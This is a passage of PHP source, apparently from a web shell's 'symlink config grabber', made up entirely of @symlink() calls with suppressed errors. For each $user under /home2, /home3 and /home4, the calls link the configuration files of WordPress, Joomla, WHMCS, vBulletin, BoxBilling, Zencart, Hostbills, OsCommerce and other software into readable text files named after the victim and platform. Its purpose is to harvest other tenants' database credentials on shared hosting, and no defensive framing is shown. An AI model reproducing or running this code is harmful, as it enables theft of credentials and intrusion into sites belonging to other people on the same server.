  1437. @symlink('/home2/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1438. @symlink('/home2/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1439. @symlink('/home2/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1440. @symlink('/home2/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1441. @symlink('/home2/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1442. @symlink('/home2/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1443. @symlink('/home2/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1444. @symlink('/home2/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1445. @symlink('/home2/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1446. @symlink('/home2/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1447. @symlink('/home2/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1448. @symlink('/home2/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1449. @symlink('/home2/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  1450. @symlink('/home2/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1451. @symlink('/home2/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1452. @symlink('/home2/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1453. @symlink('/home2/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1454. @symlink('/home2/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1455. @symlink('/home2/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1456. @symlink('/home2/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1457. @symlink('/home2/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1458. @symlink('/home2/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1459. @symlink('/home2/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1460. @symlink('/home2/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1461. @symlink('/home2/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1462. @symlink('/home2/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1463. @symlink('/home2/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1464. @symlink('/home2/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1465. @symlink('/home2/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1466. @symlink('/home2/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1467. @symlink('/home2/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1468. @symlink('/home2/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1469.  
  1470. //Home3
  1471.  
  1472. @symlink('/home3/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  1473. @symlink('/home3/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  1474. @symlink('/home3/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  1475. @symlink('/home3/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  1476. @symlink('/home3/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  1477. @symlink('/home3/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  1478. @symlink('/home3/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  1479. @symlink('/home3/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  1480. @symlink('/home3/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  1481. @symlink('/home3/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  1482. @symlink('/home3/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  1483. @symlink('/home3/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  1484. @symlink('/home3/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  1485. @symlink('/home3/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  1486. @symlink('/home3/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  1487. @symlink('/home3/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  1488. @symlink('/home3/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  1489. @symlink('/home3/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  1490. @symlink('/home3/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  1491. @symlink('/home3/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  1492. @symlink('/home3/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  1493. @symlink('/home3/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  1494. @symlink('/home3/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  1495. @symlink('/home3/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  1496. @symlink('/home3/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  1497. @symlink('/home3/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  1498. @symlink('/home3/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  1499. @symlink('/home3/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  1500. @symlink('/home3/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  1501. @symlink('/home3/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  1502. @symlink('/home3/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  1503. @symlink('/home3/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  1504. @symlink('/home3/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  1505. @symlink('/home3/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  1506. @symlink('/home3/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  1507. @symlink('/home3/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  1508. @symlink('/home3/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  1509. @symlink('/home3/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  1510. @symlink('/home3/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  1511. @symlink('/home3/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  1512. @symlink('/home3/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  1513. @symlink('/home3/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  1514. @symlink('/home3/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  1515. @symlink('/home3/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  1516. @symlink('/home3/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  1517. @symlink('/home3/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  1518. @symlink('/home3/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  1519. @symlink('/home3/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  1520. @symlink('/home3/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  1521. @symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1522. @symlink('/home3/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1523. @symlink('/home3/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  1524. @symlink('/home3/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  1525. @symlink('/home3/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  1526. @symlink('/home3/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  1527. @symlink('/home3/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  1528. @symlink('/home3/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  1529. @symlink('/home3/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  1530. @symlink('/home3/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  1531. @symlink('/home3/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  1532. @symlink('/home3/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  1533. @symlink('/home3/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  1534. @symlink('/home3/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  1535. @symlink('/home3/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  1536. @symlink('/home3/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  1537. @symlink('/home3/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  1538. @symlink('/home3/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  1539. @symlink('/home3/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  1540. @symlink('/home3/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  1541. @symlink('/home3/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  1542. @symlink('/home3/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1543. @symlink('/home3/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1544. @symlink('/home3/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1545. @symlink('/home3/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1546. @symlink('/home3/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1547. @symlink('/home3/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1548. @symlink('/home3/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1549. @symlink('/home3/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1550. @symlink('/home3/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1551. @symlink('/home3/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1552. @symlink('/home3/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1553. @symlink('/home3/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1554. @symlink('/home3/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1555. @symlink('/home3/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1556. @symlink('/home3/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1557. @symlink('/home3/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1558. @symlink('/home3/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1559. @symlink('/home3/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1560. @symlink('/home3/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1561. @symlink('/home3/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
  1562. @symlink('/home3/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
  1563. @symlink('/home3/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
  1564. @symlink('/home3/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
  1565. @symlink('/home3/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
  1566. @symlink('/home3/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
  1567. @symlink('/home3/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
  1568. @symlink('/home3/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
  1569. @symlink('/home3/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
  1570. @symlink('/home3/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
  1571. @symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1572. @symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1573. @symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1574. @symlink('/home3/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
  1575. @symlink('/home3/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
  1576. @symlink('/home3/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
  1577. @symlink('/home3/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
  1578. @symlink('/home3/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
  1579. @symlink('/home3/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
  1580. @symlink('/home3/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
  1581. @symlink('/home3/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
  1582. @symlink('/home3/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
  1583. @symlink('/home3/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
  1584. @symlink('/home3/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
  1585. @symlink('/home3/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
  1586. @symlink('/home3/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
  1587. @symlink('/home3/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
  1588. @symlink('/home3/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
  1589. @symlink('/home3/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
  1590. @symlink('/home3/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
  1591. @symlink('/home3/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
  1592. @symlink('/home3/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
  1593. @symlink('/home3/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
  1594. @symlink('/home3/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
  1595. @symlink('/home3/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
  1596. @symlink('/home3/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
  1597. @symlink('/home3/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
  1598. @symlink('/home3/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
  1599. @symlink('/home3/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
  1600. @symlink('/home3/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
  1601. @symlink('/home3/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
  1602. @symlink('/home3/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
  1603. @symlink('/home3/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
  1604. @symlink('/home3/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
  1605. @symlink('/home3/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
  1606. @symlink('/home3/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
  1607. @symlink('/home3/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
  1608. @symlink('/home3/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
  1609. @symlink('/home3/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
  1610. @symlink('/home3/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
  1611. @symlink('/home3/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
  1612. @symlink('/home3/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
  1613. @symlink('/home3/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
  1614. @symlink('/home3/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
  1615. @symlink('/home3/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
  1616. @symlink('/home3/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
  1617. @symlink('/home3/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
  1618. @symlink('/home3/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
  1619. @symlink('/home3/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
  1620. @symlink('/home3/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
  1621. @symlink('/home3/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
  1622. @symlink('/home3/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
  1623. @symlink('/home3/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
  1624. @symlink('/home3/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
  1625. @symlink('/home3/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
  1626. @symlink('/home3/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
  1627. @symlink('/home3/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
  1628. @symlink('/home3/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
  1629. @symlink('/home3/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
  1630. @symlink('/home3/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
  1631. @symlink('/home3/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
  1632. @symlink('/home3/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
  1633. @symlink('/home3/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
  1634. @symlink('/home3/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
  1635. @symlink('/home3/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
  1636. @symlink('/home3/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
  1637. @symlink('/home3/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
  1638. @symlink('/home3/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
  1639. @symlink('/home3/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
  1640. @symlink('/home3/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
  1641. @symlink('/home3/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
  1642. @symlink('/home3/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1643. @symlink('/home3/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
  1644. @symlink('/home3/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
  1645. @symlink('/home3/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
  1646. @symlink('/home3/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
  1647. @symlink('/home3/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
  1648. @symlink('/home3/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
  1649. @symlink('/home3/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
  1650. @symlink('/home3/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
  1651. @symlink('/home3/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
  1652.  
  1653. //Home4
  1654.  
  1655. @symlink('/home4/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
  1656. @symlink('/home4/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
  1657. @symlink('/home4/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
  1658. @symlink('/home4/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
  1659. @symlink('/home4/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
  1660. @symlink('/home4/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
  1661. @symlink('/home4/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
  1662. @symlink('/home4/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
  1663. @symlink('/home4/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
  1664. @symlink('/home4/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
  1665. @symlink('/home4/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
  1666. @symlink('/home4/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
  1667. @symlink('/home4/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
  1668. @symlink('/home4/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
  1669. @symlink('/home4/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
  1670. @symlink('/home4/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
  1671. @symlink('/home4/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
  1672. @symlink('/home4/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
  1673. @symlink('/home4/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
  1674. @symlink('/home4/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
  1675. @symlink('/home4/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
  1676. @symlink('/home4/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
  1677. @symlink('/home4/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
  1678. @symlink('/home4/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
  1679. @symlink('/home4/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
  1680. @symlink('/home4/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
  1681. @symlink('/home4/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
  1682. @symlink('/home4/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
  1683. @symlink('/home4/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
  1684. @symlink('/home4/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
  1685. @symlink('/home4/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
  1686. @symlink('/home4/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
  1687. @symlink('/home4/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
  1688. @symlink('/home4/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
  1689. @symlink('/home4/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
  1690. @symlink('/home4/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
  1691. @symlink('/home4/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
  1692. @symlink('/home4/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
  1693. @symlink('/home4/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
  1694. @symlink('/home4/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
  1695. @symlink('/home4/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
  1696. @symlink('/home4/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
  1697. @symlink('/home4/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
  1698. @symlink('/home4/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
  1699. @symlink('/home4/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
  1700. @symlink('/home4/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
  1701. @symlink('/home4/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
  1702. @symlink('/home4/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
  1703. @symlink('/home4/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
  1704. @symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1705. @symlink('/home4/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
  1706. @symlink('/home4/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
  1707. @symlink('/home4/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
  1708. @symlink('/home4/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
  1709. @symlink('/home4/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
  1710. @symlink('/home4/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
  1711. @symlink('/home4/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
  1712. @symlink('/home4/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
  1713. @symlink('/home4/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
  1714. @symlink('/home4/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
  1715. @symlink('/home4/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
  1716. @symlink('/home4/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
  1717. @symlink('/home4/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
  1718. @symlink('/home4/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
  1719. @symlink('/home4/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
  1720. @symlink('/home4/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
  1721. @symlink('/home4/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
  1722. @symlink('/home4/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
  1723. @symlink('/home4/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
  1724. @symlink('/home4/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
  1725. @symlink('/home4/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
  1726. @symlink('/home4/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
  1727. @symlink('/home4/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
  1728. @symlink('/home4/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
  1729. @symlink('/home4/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
  1730. @symlink('/home4/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
  1731. @symlink('/home4/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
  1732. @symlink('/home4/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
  1733. @symlink('/home4/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
  1734. @symlink('/home4/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
  1735. @symlink('/home4/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
  1736. @symlink('/home4/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
  1737. @symlink('/home4/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
  1738. @symlink('/home4/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
  1739. @symlink('/home4/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
  1740. @symlink('/home4/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
  1741. @symlink('/home4/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
  1742. @symlink('/home4/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
  1743. @symlink('/home4/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
  1744. @symlink('/home4/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
